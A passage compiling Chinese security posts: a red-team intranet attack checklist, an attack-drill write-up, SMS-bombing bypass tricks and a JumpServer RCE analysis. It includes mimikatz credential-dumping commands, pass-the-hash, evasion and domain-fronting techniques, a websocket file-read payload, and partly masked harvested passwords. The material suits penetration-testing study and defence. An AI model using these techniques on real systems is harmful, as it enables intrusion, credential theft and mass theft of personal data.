(在避免对方防护报警拦截的情况下进行各种常规服务探测识别)]内网批量 Web Banner 抓取,获取关键目标业务系统如下内网各种文件[共享]服务器 内网各类web服务器 [ 可用于后期留入口 ] 内网各类数据库服务器 内网邮件服务器 [ 可用于后期留入口 ] 内网Vpn服务器 [ 可用于后期留入口 ] 内网各类常规资产状态监控服务器,eg: zabbix,nagios,cacti... 内网各类防护的主控端,比如,防火墙,EDR,态势感知 产品的web主控端... 内网日志服务器 内网补丁服务器 内网各类OA,ERP,CRM,SRM,HR系统... 内网打印服务器 内网 MES 系统 内网虚拟化服务器 / 超融合平台 [Vmware ESX] 内网堡垒机... 内网运维,研发 部门员工的机器 内网路由,交换设备... 等等等... 针对以上的各种常规内网探测扫描,其实在流量上都会有非常清晰的表现 通过在一些关键节点设备/服务器上部署探针搜集流量 再配合大数据关联分析查找各种敏感特征,理论上是相对容易发现各类扫描探测痕迹的 针对各类已知系统高危RCE漏洞的批量探测识别与利用MS08-067 [ 其实,某些特殊行业的系统可能非常老,极少更新,故,还是有存在的可能 ] MS17-010 CVE-2019-0708 其实针对此类漏洞的攻击利用识别,就显得比较直白了 通过深入分析每种漏洞在实际攻击利用过程所产生的一些典型 流量特征 和 系统日志即可大致判断 0x07 内网安全 [ 各类敏感凭证 "搜集" 与 "窃取" ]主动密码搜集注:如下某些操作肯定是需要事先自己想办法先拿到管理权限或者在指定用户权限下才能正常进行的 此处不再赘述, 此项非防御重点, 因为压根也不好防 批量抓取当前机器上的 "各类基础服务配置文件中保存的各种账号密码" 比如,各种数据库连接配置文件,各类服务自身的配置文件(redis,http basic...)... 想办法 "控制目标 运维管理 / 技术人员 的单机,从这些机器上去搜集可能保存着各类敏感网络资产的账号密码表" 比如, *.ls,*.doc,*.docx, *.txt.... 抓取各类 "数据库客户端工具中保存各种数据库连接账号密码 比如,Navicat,SSMS[MSSQL自带客户端管理工具,里面也可能保存的有密码(加密后的base64)] 抓取当前系统 "注册表中保存的各类账号密码hash" [ Windows ] 抓取当前系统所有 "本地用户的明文密码/hash" [ Windows & linux ] 抓取当前系统的所有 "用户token" [ Windows ] 抓取 "windows凭据管理器中保存的各类连接账号密码" 抓取 "MSTSC 客户端中保存的所有rdp连接账号密码" 抓取各类 "VNC客户端工具中保存的连接密码" 抓取 "GPP目录下保存的各类账号密码" [ 包括组策略目录中XML里保存的密码hash 和 NETLOGON目录下的某些脚本中保存的账号密码 ] 抓取各类 "SSH客户端工具中保存的各种linux系统连接账号密码", SecureCRT,Xshell,WinSCP,putty 抓取各类 "浏览器中保存的各种web登录密码",Chrome [360浏览器],Firefox,IE,QQ浏览器 抓取各类 "数据库表中保存的各类账号密码hash" 抓取各类 "FTP客户端工具中保存的各种ftp登录账号密码", filezila, xftp... 抓取各类 "邮件客户端工具中保存的各种邮箱账号密码", forxmail, thunderbird... 抓取各类 "SVN客户端工具中保存的所有连接账号密码及项目地址" 抓取各类 "VPN客户端工具中保存的各种vpn链接账号密码" 被动密码搜集 [ 等着管理员自己来送密码 ][注: 某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的, 此处不再赘述 , 是防御重点] Windows SSP [持久化/内存] Hook PasswordChangeNotify [持久化/内存] OWA 登录账号密码截获 截获mstsc.exe中输入的rdp连接账号密码 linux 别名记录利用 本机明文密码嗅探 [ http,ftp,pop3... ] 传统键盘记录 windows蓝屏技巧 [ 此操作主要为应对不时之需,比如,搞蓝屏,登管理员登录抓密码 ] Hash爆破:Hashcat [ 完全拼GPU ] 0x08 内网安全 [ 内网常用 "隧道"" / "转发"" / "代理"" 穿透手法 提炼汇总 ,防御重点 ]出网流量刺探 比如,http,dns,以及一些穿透性相对较好的tcp端口... 这种操作一般都会配合wmi,smb,ssh远程执行,在内网批量快速识别出能出网的机器 常规 HTTP脚本代理 abptts,Neo-reGeorg,reGeorg,tunna,reduh... 不得不说,公开脚本在实战中多多少少都会有些问题,还需要根据自己的实际目标环境深度改进才行 SSH 隧道 加密端口转发,socks 实战用途非常灵活,此处不细说 ] Rdp 隧道 反向SOCKS nps, frp, ssf, CobaltStrike(socks4a & rportfwd ), sscoks ... 工具基本都不免杀了,需要自行处理 正反向TCP 端口转发 非常多,就不一一列举, eg: nginx,netsh,socat,ew.... DNS加密隧道 Web端口复用 需要明白的是,在一般的红队场景中 入侵者为了尽可能躲避各种检测设备的流量解析,很多此类工具都会采用各种各样的方式来加密传输流量,以此来保证自己有更强的穿透性 0x09 域内网安全 [ 域内常用攻击手法 ( 域渗透 ),提炼汇总,防御重点 ]针对当前域的一些常规信息搜集[ 其实现实中,只需要一个BloodHound & Pingcastle足矣,就是工具需要自行事先免杀好]获取当前域内的完整域管列表 获取当前域内的所有域控机器名列表 获取当前域内的所有DNS服务器机器名列表 获取当前域内的所有SPN 获取当前域内的所有OU 获取当前域内的所有用户 & 用户组列表 获取当前域信任关系 [ 跨域渗透 ] 获取当前域内所有机器的开机时间 获取当前域内网段及web站点 获取当前域内策略 [ 主要是为了了解密码策略 ] 获取当前域林 ....... 快速获取目标域控权限的一些常规手法搜集GPP 目录 [ 其中可能保存的有域账号密码,不仅仅是存在XML里的那些,NETLOGON目录中的某些脚本同样也可能保存有账号密码 ] 服务票据hash破解("尤其是域管用户的") [ kerberoast ] 批量对域用户进行单密码尝试 [ 喷射,利用ADSI接口,日志id 4771 ] Kerberos 委派利用 爆破LDAP Exchange特定ACL滥用 SSP 截获关键服务器登录密码 利用各类基础服务在内网快速 getshell [ 弱口令, 各类JAVA中间件已知Nday漏洞, 常规Web漏洞... ],在内网循环抓各类密码,直至 抓到域管密码 抓到域管令牌 DNSAdmin 组成员滥用 [ 加载执行恶意dll ] LAPS MS14-068 [ 如今实际中已很少遇到了 ] LLMNR/NBNS欺骗 + SMB relay [ 真实在实战中其实用的并不多 ] 域内后渗透敏感信息搜集分析获取所有DNS记录 导出当前域的完整LDAP数据库 提取当前域的ntds.dit [ 域内账号密码数据库 ] Dcsync同步 Volume Shadow Copy Service 域内指定用户登录ip定位利用OWA登录日志 利用域控服务器登录日志 指定服务银票 [ Silver Ticket ] 除此之外,就是下面的各类常规横向手法 域内指定用户机器定向控制技巧绑定用户登录脚本 利用GPO下发 [实际上,利用GPO能做的事情还非常非常多] PTT [ 票据传递 ] 针对域管的各种权限维持技巧金票 Skeleton Key DSRM密码同步 OWA后门 ... 域内Exchange 邮件数据脱取利用Ews接口通过PTH的方式脱邮件 0x10 内网安全 [ 跨平台横向渗透 (远程执行),防御重点 ( "重中之重" ) ]从 Windows平台 横向至 Windows平台注: 以下某些远程执行方式, 即可直接用明文账号密码 亦可 基于pth来进行, 不局限 远程服务管理 [ SCM ] 远程创建执行计划任务 [ Scheduled Tasks ] WMI 远程执行 [ WMI ] 针对高版本Windows 的WinRM 远程执行 DCOM 远程执行 [ 需要目标Windows机器事先已关闭防火墙 ] 高版本 RDP 远程执行 利用MSSQL数据库存储过程来变相远程执行 利用Oracle数据库存储过程来变相远程执行 SMB [ PTH (hash传递) ] RDP[MSTSC] 反向渗透 [ 即可用于突破某些隔离, 亦可通过云(Windows vps)直接反控目标管理员个人机 CVE-2019-0887 ] 利用补丁服务器下发执行 利用EDR主控端定向下发执行 从 Windows平台 横向至 *inux平台基于Windows SSH库自行开发各种远程执行小工具 windows10自带的openssh直接命令远程连接:ssh [email protected] -rp I:\test [email protected]:/opt(上传文件件及其内容)scp I:\test\test.txt [email protected]:/opt (上传文件内容)scp [email protected]:/opt/test/2.txt I:\test (下载文件)从 *inux平台 横向至 Windows 平台一般都会将 impacket套件中的各个常用py脚本事先直接打包成可执行文件, 然后丢到目标linux系统中去执行,如下 wmiexec_linux_x86_64 smbexec_linux_x86_64 psexec_linux_x86_64 atexec_linux_x86_64 dcomexec_linux_x86_64参考工具:https://github.com/maaaaz/impacket-examples-windowshttps://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.22.dev-binaries 另外,还有一些基于go的工具,同样也可以编译成可执行文件之后再丢上去执行 从 *inux平台 横向至 *inux 平台linux 自带的ssh客户端工具套件, 默认就可以用来进行远程执行 各种远程下载技巧wget [ win & linux ] curl [ win & linux ] 之所以没着重提以下这些系统内置的远程下载执行工具,主要还是因为事先已经明确知道 某些杀软环境下它肯定会被拦截,所以事先就直接把它弃用了,尤其针对红队这种场景,这些东西根本不在乎多,有一个能用好用的即可 CertUtil.exe Bitsadmin.exe Regsvr32.exe Rundll32.exe Powershell.exe ......0x11 内网安全 [ 权限维持,防御重点 ] [ 注: 有些细节此处并未展开详细说明 ]边界入口权限维持OWA 登录口 [ 账号密码,webshell ] VPN 登录口 [ 账号密码,shell ] 其他 MAIL 登录口 [ 账号密码 ] 边界 Web服务器 [ Webshell 驻留技巧 ] 边界路由交换设备 [ 账号密码,shell ] ... Windows 单机系统维持 [临时]系统计划任务 [ 高权限/低权限 ] 常规注册表自启动项 [ 用户权限/system权限 ] Mssql存储过程 [ 继承服务权限 ] WMI Winlogon CLR Logon Scripts MruPidlList Mof 传统远控 ... linux 单机系统维持 [临时]Patch SSH 替换各类基础服务so [ PAM,Nginx,Rsync ...] 系统计划任务 传统应用层远控 驱动层远控( 针对特定内核版本 ) 0x12 痕迹处理web日志 [ 访问, 错误日志 ] 数据库日志 [ 异常连接日志,慢查询日志 ] 系统各类安全日志 [ ssh,rdp,smb,wmi,powershell....] 各类邮箱登录日志 域内敏感攻击利用日志 [ 金票,银票... ] 此项为专业蓝队范畴,不再赘述 ...... 0x13 各类常用 C2 / 渗透 框架CobaltStrike [二次开发] payload(beacon) 逆向/改进重写 Metasploit [二次开发] ...... 0x14 各类常用 Webshell管理工具菜刀 caidao20160622 冰蟹 Behinder_v2.0.1 蚁剑 AntSword ...... 0x15 免杀 及 各类防火墙对抗静态混淆: 手工混淆,有源码的情况下,尝试逐个替换可能是关键特征字符串的 命名空间名, 函数名, 变量名, 字符串 等等等.... 工具混淆,针对各种语言的专业混淆工具 [ 有商业版 ] ... 加壳: 一些常用公开壳的实际效果可能并不是太好 [ 也有商业壳 ] 最好的方式还是尝试自己写壳,就是成本较高 ... 动态反射 shellcode 内存加解密执行 ( 对于现在的某些杀软来讲,可能并没什么卵用,别人拦的基本都是你的最终调用 ) 白利用 ...... 注: 理论上, 这些应该也没有什么非常通用的方法 大多还是事先针对特定的杀软针对性的不停调试分析出它到底怎么拦,怎么查的,然后再针对性的对症下药 流量:域前置[利用大厂cdn]工具参考:https://tengxiaofei.run/2020/06/22/%E6%B5%81%E9%87%8F%E7%BB%95%E8%BF%87-cobaltstrike%E5%9F%9F%E5%89%8D%E7%BD%AE%E9%9A%90%E8%97%8F%E7%9C%9F%E5%AE%9EIP%E5%92%8C%E6%81%B6%E6%84%8F%E5%9F%9F%E5%90%8D/https://evi1cg.me/archives/AMSI_bypass.htmlhttps://www.anquanke.com/post/id/195011#h2-1https://www.moonsec.com/archives/2928https://zhuanlan.zhihu.com/p/364877190https://syst1m.com/post/domain-fronting/https://medium.com/@vysec.private/alibaba-cdn-domain-fronting-1c0754fa0142https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/https://www.xorrior.com/Empire-Domain-Fronting/https://www.cyberark.com/resources/threat-research-blog/red-team-insights-on-https-domain-fronting-google-hosts-using-cobalt-strikehttps://medium.com/@vysec.private/domain-fronting-who-am-i-3c982ccd52e6https://medium.com/@vysec.private/validated-cloudfront-ssl-domains-27895822cea3https://www.mindpointgroup.com/blog/pen-test/cloudfront-hijacking/https://github.com/MindPointGroup/cloudfrunthttps://www.secpulse.com/archives/142017.htmlhttps://www.chabug.org/web/1373.htmlDNS加密隧道参考工具:https://www.cnblogs.com/beautiful-code/p/13725355.html#cs%E4%BD%BF%E7%94%A8dns%E9%9A%A7%E9%81%93%E5%BB%BA%E7%AB%8B%E8%BF%9E%E6%8E%A5https://www.freebuf.com/articles/network/208242.htmlhttps://www.freebuf.com/articles/web/256032.htmlhttps://www.cocosec.com/archives/262.htmlhttp://blog.nsfocus.net/dns-tunnel-communication-characteristics-detection/https://www.freebuf.com/articles/network/244094.htmlhttps://www.freebuf.com/articles/network/214923.htmlhttps://blog.riskivy.com/%e6%8e%a2%e7%a7%98-%e5%9f%ba%e4%ba%8e%e6%9c%ba%e5%99%a8%e5%ad%a6%e4%b9%a0%e7%9a%84dns%e9%9a%90%e8%94%bd%e9%9a%a7%e9%81%93%e6%a3%80%e6%b5%8b%e6%96%b9%e6%b3%95%e4%b8%8e%e5%ae%9e%e7%8e%b0/https://xz.aliyun.com/t/6966#toc-17https://downloads.skullsecurity.org/dnscat2/https://apt404.github.io/2017/12/29/cobalt-strike-dns/https://www.anquanke.com/post/id/99408 第三方公共邮箱上线 第三方网盘上线 第三方社交网站上线 第三方匿名社交工具上线[eg: tg机器人,tor...]
  8. 前言前段时间参加了一场攻防演练,使用常规漏洞尝试未果后,想到不少师傅分享过从JS中寻找突破的文章,于是硬着头皮刚起了JS,最终打开了内网入口获取了靶标权限和个人信息。在此分享一下过程。 声明:本次演练中,所有测试设备均由主办方提供,所有流量均有留档可审计,所有操作均在授权下完成,所有数据在结束后均已安全销毁。 通过JS打点开局只有一个登录页面,无法枚举用户名并且尝试爆破未果。 利用bp抓包查看JS相关文件发现存在sql语句 跟踪comboxsql变量,发现定义了一个action类 搜索这个action类路径,发现访问方式是通过url拼接 将该路径进行拼接,并将参数输入sql语句,测试发现该数据库为mssql数据库,可通过xp_cmdshell来执行系统命令。 shellcodeloader上线CS执行system权限后,打算直接使用远程下载上线免杀cs,但是未上线成功,查看进程发现有360企业云,触发拦截了执行exe行为。 换种思路,通过下载哥斯拉webshell后,利用哥斯拉的shellcodeloader功能,加载自己CS木马的shellcode可上线成功。 解密数据库配置信息因执行任何exe文件时,均提示拒绝访问,无法进行文件的运行,通过搜索本机配置文件发现了数据库的账号密码,但是数据库密码加密了 通过查找历史网站备份文件,发现的该系统早期配置文件并未做数据库密码加密配置,测试发现可以连接数据库。 另外查找本系统数据库备份文件时,意外发现了该服务器部署的另一套业务系统,并且数据库配置文件中的账号、密码和数据库ip同样也为加密存储。 通过查找该系统特征发现为SiteServer CMS系统。从网上搜索发现了该cms的专用加解密工具 SiteServer CLI 运行后也可获取数据库明文配置信息 cs开启代理进行连接,测试连接成功 不过同样发现该数据库服务器也无法执行exe程序,无法运行mimikatz读取管理员哈希,无法建立用户,无法上传tscan进行内网扫描,在这尬住了。最后使用cs插件的信息探测,可探测内网网段资产。 使用17010插件攻击失败 使用proxychains配合msf获取了PC权限 使用mimikaz读取管理员密码开启远程桌面发现无法登录限制 msf加载mimikaz模块 ts::multirdp获取内网权限建立新用户,进入个人pc电脑 通过该PC机为据点,上传TideFinger和Tscan搭配进行内网扫描,在这有必要介绍下该两款工具。 Go语言版的TideFinger指纹识别功能: 1、加入Dismap、Vscan、Kscan、fofa、ServerScan等多个指纹 2、并加入了ServerScan的非web服务指纹,优化了资产发现的协程并发效率。3、显示效果借鉴了Dismap,在效率和指纹覆盖面方面应该是目前较高的了 Go语言版的Tscan功能: 1、Tscan为Tide安全团队共同维护的内外网资产扫描工具 2、基础代码随Fscan更新进行迭代 3、与潮声POC漏洞检测平台联动,团队成员每月会编写近期爆出的poc和定期收集整理网上已发布的poc检测模块最后进行更新发布。 扫描内网网段后,接下来是漏洞验证的过程,瞄了一眼结果没有发现能直接getshell的洞,不过指纹探测出了内网其中一ip开放了2222端口为rmi。 虽然拿到了该服务器权限,但是通过对本服务器进行信息搜集时,并未发现其它相关的账号密码信息。 SAM文件获取用户hash使用mimikaz中sekurlsa::logonpasswords命令尝试读取进程lsass的信息来获取当前登录用户的密码信息,输出结果发现没有administrator等用户信息(主要是因为拿权限上cs时,估计触发了杀软策略导致服务器重启了),然后使用query user发现管理员用户不在线,故无法直接通过内存读取管理员hash。使用mimikaz读取SAM文件中的hash。 privilege::debug #提升至system token::elevate #抓取sam lsadump::samhash传递拿到NTLM Hash后发现无法从在线网站直接解密出明文密码 通过获取的NTLM进行hash传递获取四台服务器权限。 接下来利用hash登录该服务器,继续进行信息搜集。在其中一台服务器内发现了套娃远程桌面,并且为03系统 获取服务器密码规律通过mimikaz读取该密码(在KB2871997之前,Mimikatz可以直接抓取明文密码) * Domain : WIN-LAOLOVGMF * Password : xxxxxy401*1009 * Username : Administrator * Domain : SD-68QDNY80KE * Password : xxxxxy101*2006 * Username : SDAdministrator * Domain : SD-93O4N5O2UD * Password : xxxxxy501*2003以及获取数据库配置密码 <add key="dbDBName" value="REPSDU"/> <add key="dbUserName" value="sa"/> <add key="dbUserPwd" value="sdxxxxxy1108"/> <add key="CrystalImageCleaner-AutoStart" value="true"/> <add key="CrystalImageCleaner-Sleep" value="60000"/> <add key="CrystalImageCleaner-Age" value="120000"/> </appSettings>通过观察发现服务器密码命名规律,猜测为楼层+房间号组合结尾,数据库服务器以房间号结尾。通过组合变形密码后缀,进行内网横向爆破。可获得大量SSH和RDP服务器 通过此方式拿到了靶标服务器权限。 接下来寻找敏感数据,通过对数据库搜寻发现大部分的数据信息已被脱敏存储。 翻看了获取的数据库里涉及业务的公民个人信息发现全被脱敏存储了,企业内部的一些系统登录人员个人信息倒是没有脱敏存储,但是数量较少。 获取个人信息只好换种思路,打算矛头指向办公区电脑(因一些企业、学校和医院之类的个人信息有时候会存储在个人电脑excel中,方便整理使用,特别疫情时期人员的核酸信息) 继续使用TideFinger详细的搜集内网资产,发现了内网存在oa系统。通过收集数据库中含有管理员、高层、企管专员、总裁、信息中心和主任相关的工号、身份证号、姓名、密码、生日等个人信息。 尝试发现可成功登录oa系统,即使密码错误的账号,也可通过忘记密码重置密码(重置密码需要填写身份证+工号) 最终在oa中发现了2020-2022年的核酸检测名单等,其中包括各地分公司以及各厂区人员信息几十万余条。 总结随着近些年攻防演练的开展,防守单位对于安全的投入也越来越多,特别是安全防护、安全设备以及蓝队防守人员的加入,使得打点变的尤为困难。所以还是需要不断学习师傅们的思路,从而提高自己的姿势水平呀。 原文链接:https://mp.weixin.qq.com/s/KrbCMEn_8C7XcsHxGSwnIA
  9. 在测试甲方业务或者挖 SRC 等业务的时候,经常碰到发送短信验证的地方,我们可以联想到的就是任意用户登陆、短信轰炸、任意用户修改密码等逻辑性的漏洞, 简单的漏洞也是需要清晰的思维分析,拿几个短信轰炸多个绕过案例分享,高危挖不动低危拿来凑。 1. 参数污染绕过 参数污染,就是说后台发送短信的时候会取数字那部分,当你混入其他字符之后绕过了对已经发送的手机号码的限制的校验:2. 变量污染绕过 所谓变量污染呢, 大概因为后台校验了第一个变量的内容都当成了值处理,但是当数据包在传递到后台过去的时候,如果参数名是一样的时候,是会以第二个、第三个、第四个…最后那个参数为基准去传递,因此绕过了后台的限制 3. 数据长度绕过 手机号码的定义是 11 位数,但是后台没有对传递的手机号码做校验长度,比如123=0123=00123,通过该方法来进行一个手机号码的绕过: 【狗的一个漏洞】【找不到图片了】 4. 修改变量参数绕过 比较常见就是发送验证码的时候前端带入一个状态,通过修改这个状态可以来绕过系统的限制,如已注册的用户不能发送短信或者相反未注册的用户不能发送短信 Flase 改成 true 5. Cookie 替换绕过 换汤不换药,校验用户的凭证放在了 cookie 中,通过修改 cookie 中的某些参数可以打到绕过对以发送/已注册的手机号码进行发送短信: 6. 【空格绕过短信轰炸】【无图】 发送短信的时候是 11 位数,但是数据库没有限制字段长度为 11,通过添加空格绕过了原有的校验,但是后台发送号码的时候,取有效字符前面的字段,导致了出现被绕过的方法。 7. 【验证码可复用导致短信轰炸漏洞】【无图】 在吃了用户名爆破或者密码爆破漏洞亏之后,加入了验证码的校验,但是验证码在发送的时候抓包不放行, 验证码不会失效,引起的短信轰炸漏洞。 8. 【基于 API 接口绕过】 【无图】 这一个漏洞的话, 一般是前台输入手机号码, 发送请求 1 到后台判断是否可以执行发送请求 2, 否的话返回 False 或者 error, 成功的话返回一个 true 或者 success, 只要找到返回的这 个接口, 说不定也可以找到这种漏洞。
  10. 0 简介JumpServer是一款开源的堡垒机,是符合4A规范的运维安全审计系统,通俗来说就是跳板机。 2021年1月15日,JumpServer发布安全更新,修复了一处远程命令执行漏洞。由于JumpServer某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行任意命令。 影响版本: JumpServer < v2.6.2JumpServer < v2.5.4JumpServer < v2.4.5JumpServer = v1.5.91. 漏洞分析看修复代码的commit记录:https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e 发现是给CeleryLogWebsocket类的connect加上了身份认证。 import time import os import threading import json from common.utils import get_logger from .celery.utils import get_celery_task_log_path from .ansible.utils import get_ansible_task_log_path from channels.generic.websocket import JsonWebsocketConsumer logger = get_logger(__name__) class TaskLogWebsocket(JsonWebsocketConsumer): disconnected = False log_types = { 'celery': get_celery_task_log_path, 'ansible': get_ansible_task_log_path } def connect(self): user = self.scope["user"] if user.is_authenticated and user.is_org_admin: self.accept() else: self.close() def get_log_path(self, task_id): func = self.log_types.get(self.log_type) if func: return func(task_id) def receive(self, text_data=None, bytes_data=None, **kwargs): data = json.loads(text_data) task_id = data.get('task') self.log_type = data.get('type', 'celery') if task_id: self.handle_task(task_id) def wait_util_log_path_exist(self, task_id): log_path = self.get_log_path(task_id) while not self.disconnected: if not os.path.exists(log_path): self.send_json({'message': '.', 'task': task_id}) time.sleep(0.5) continue self.send_json({'message': '\r\n'}) try: logger.debug('Task log path: {}'.format(log_path)) task_log_f = open(log_path, 'rb') return task_log_f except OSError: return None def read_log_file(self, task_id): task_log_f = self.wait_util_log_path_exist(task_id) if not task_log_f: logger.debug('Task log file is None: {}'.format(task_id)) return task_end_mark = [] while not self.disconnected: data = task_log_f.read(4096) if data: data = data.replace(b'\n', b'\r\n') self.send_json( {'message': data.decode(errors='ignore'), 'task': task_id} ) if data.find(b'succeeded in') != -1: task_end_mark.append(1) if data.find(bytes(task_id, 'utf8')) != -1: task_end_mark.append(1) elif len(task_end_mark) == 2: logger.debug('Task log end: {}'.format(task_id)) break time.sleep(0.2) task_log_f.close() def handle_task(self, task_id): logger.info("Task id: {}".format(task_id)) thread = threading.Thread(target=self.read_log_file, args=(task_id,)) thread.start() def disconnect(self, close_code): self.disconnected = True self.close() 查看这个类的http接口: 通过这个类可以知道,这个接口的访问链为: 访问ws/ops/tasks/log/ --> 进入TaskLogWebsocket类的receive函数 --> 进入TaskLogWebsocket类的handle_task函数 --> 进入TaskLogWebsocket类的read_log_file函数 --> 进入TaskLogWebsocket类的wait_util_log_path_exist函数 --> 进入TaskLogWebsocket类的read_log_file函数 --> 进入app/ops/utls.py中的get_task_log_path函数 taskid是从我们发送的text_data中解析出来的,所以是可控的,通过下面的方式我们可以读取日志文件/opt/jumpserver/logs/jumpserver.log。 向ws://10.10.10.10:8080/ws/ops/tasks/log/发送 {"task":"/opt/jumpserver/logs/jumpserver"}以上就是文件读取的原理,读取日志文件有如下限制: 只能使用绝对路径读取文件只能读取以 log 结尾的文件下面分析如何实现远程代码执行。 通过读取/opt/jumpserver/logs/gunicorn.log,运气好的话,可以读取到用户uid,系统用户uid,和资产id: user idasset idsystem user id上述三个信息是需要存在用户正在登录web terminal才能从日志中拿到的,拿到之后。通过/api/v1/authentication/connection-token/ 接口,可以进去/apps/authentication/api/UserConnectionTokenApi 通过user_id asset_id system_user_id可以获取到只有20s有效期的token。这个token可以用来创建一个koko组件的tty: https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342 --> https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#L167具体代码如下: 总结完整的rce利用步骤为: 未授权的情况下能够建立websocket连接task可控,可以通过websocket对日志文件进行读取拿到日志文件中的系统用户,用户,资产字段通过3中的字段,可以拿到20s的token通过该token能够进入koko的tty,执行命令2 漏洞复现2.1 环境搭建本地环境:xubuntu20.04jumpserver版本:2.6.1版本安装步骤: # 下载 git clone https://github.com/jumpserver/installer.git cd installer # 国内docker源加速 export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn # 安装dev版本,再切换到2.6.1(应该可以直接安装2.6.1,一开始错装成了默认的dev版本,不过没关系) sudo su ./jmsctl.sh install ./jmsctl.sh upgrade v2.6.1 # 启动 ./jmsctl.sh restart完整日志 # yanq @ yanq-desk in ~/gitrepo [22:18:53] C:127 $ git clone https://github.com/jumpserver/installer.git 正克隆到 'installer'... remote: Enumerating objects: 467, done. remote: Total 467 (delta 0), reused 0 (delta 0), pack-reused 467 接收对象中: 100% (467/467), 95.24 KiB | 182.00 KiB/s, 完成. 处理 delta 中: 100% (305/305), 完成. # yanq @ yanq-desk in ~/gitrepo [22:20:27] $ cd installer # yanq @ yanq-desk in ~/gitrepo/installer on git:master o [22:20:30] $ ls compose config-example.txt config_init jmsctl.sh README.md scripts static.env utils # yanq @ yanq-desk in ~/gitrepo [22:18:59] $ export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn # yanq @ yanq in ~/github/installer on git:master o [22:03:43] C:130 $ sudo su root@yanq:/home/yanq/github/installer# ./jmsctl.sh install ██╗██╗ ██╗███╗ ███╗██████╗ ███████╗███████╗██████╗ ██╗ ██╗███████╗██████╗ ██║██║ ██║████╗ ████║██╔══██╗██╔════╝██╔════╝██╔══██╗██║ ██║██╔════╝██╔══██╗ ██║██║ ██║██╔████╔██║██████╔╝███████╗█████╗ ██████╔╝██║ ██║█████╗ ██████╔╝ ██ ██║██║ ██║██║╚██╔╝██║██╔═══╝ ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██╔══╝ ██╔══██╗ ╚█████╔╝╚██████╔╝██║ ╚═╝ ██║██║ ███████║███████╗██║ ██║ ╚████╔╝ ███████╗██║ ██║ ╚════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝ Version: dev >>> 一、配置JumpServer 1. 检查配置文件 各组件使用环境变量式配置文件,而不是 yaml 格式, 配置名称与之前保持一致 配置文件位置: /opt/jumpserver/config/config.txt 完成 2. 配置 Nginx 证书 证书位置在: /opt/jumpserver/config/nginx/cert 完成 3. 备份配置文件 备份至 /opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52 完成 4. 配置网络 需要支持 IPv6 吗? (y/n) (默认为n): n 完成 5. 自动生成加密密钥 完成 6. 配置持久化目录 修改日志录像等持久化的目录,可以找个最大的磁盘,并创建目录,如 /opt/jumpserver 注意: 安装完后不能再更改, 否则数据库可能丢失 文件系统 容量 已用 可用 已用% 挂载点 udev 7.3G 0 7.3G 0% /dev /dev/nvme0n1p2 468G 200G 245G 45% / /dev/loop1 56M 56M 0 100% /snap/core18/1944 /dev/loop2 65M 65M 0 100% /snap/gtk-common-themes/1513 /dev/loop3 218M 218M 0 100% /snap/gnome-3-34-1804/60 /dev/loop0 56M 56M 0 100% /snap/core18/1932 /dev/loop5 32M 32M 0 100% /snap/snapd/10492 /dev/loop6 65M 65M 0 100% /snap/gtk-common-themes/1514 /dev/loop4 52M 52M 0 100% /snap/snap-store/498 /dev/loop7 52M 52M 0 100% /snap/snap-store/518 /dev/loop8 219M 219M 0 100% /snap/gnome-3-34-1804/66 /dev/loop9 32M 32M 0 100% /snap/snapd/10707 /dev/nvme0n1p1 511M 7.8M 504M 2% /boot/efi 设置持久化卷存储目录 (默认为/opt/jumpserver): 完成 7. 配置MySQL 是否使用外部mysql (y/n) (默认为n): n 完成 8. 配置Redis 是否使用外部redis (y/n) (默认为n): n 完成 >>> 二、安装配置Docker 1. 安装Docker 开始下载 Docker 程序 ... --2021-01-17 22:04:12-- https://mirrors.aliyun.com/docker-ce/linux/static/stable/x86_64/docker-18.06.2-ce.tgz 正在解析主机 mirrors.aliyun.com (mirrors.aliyun.com)... 180.97.148.110, 101.89.125.248, 58.216.16.38, ... 正在连接 mirrors.aliyun.com (mirrors.aliyun.com)|180.97.148.110|:443... 已连接。 已发出 HTTP 请求,正在等待回应... 200 OK 长度: 43834194 (42M) [application/x-tar] 正在保存至: “/tmp/docker.tar.gz” /tmp/docker.tar.gz 100%[===========================================================================================================================================>] 41.80M 13.8MB/s 用时 3.0s 2021-01-17 22:04:16 (13.8 MB/s) - 已保存 “/tmp/docker.tar.gz” [43834194/43834194]) 开始下载 Docker compose 程序 ... --2021-01-17 22:04:17-- https://get.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64 正在解析主机 get.daocloud.io (get.daocloud.io)... 106.75.86.15 正在连接 get.daocloud.io (get.daocloud.io)|106.75.86.15|:443... 已连接。 已发出 HTTP 请求,正在等待回应... 302 FOUND 位置:https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64 [跟随至新的 URL] --2021-01-17 22:04:28-- https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64 正在解析主机 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)... 240e:ff:a024:200:3::3fe, 240e:964:1003:302:3::3fe, 61.160.204.242, ... 正在连接 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)|240e:ff:a024:200:3::3fe|:443... 已连接。 已发出 HTTP 请求,正在等待回应... 200 OK 长度: 12218968 (12M) [application/x-executable] 正在保存至: “/tmp/docker-compose” /tmp/docker-compose 100%[===========================================================================================================================================>] 11.65M 8.43MB/s 用时 1.4s 2021-01-17 22:04:35 (8.43 MB/s) - 已保存 “/tmp/docker-compose” [12218968/12218968]) 已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n) (默认为n): n 完成 2. 配置Docker 修改Docker镜像容器的默认存储目录,可以找个最大的磁盘, 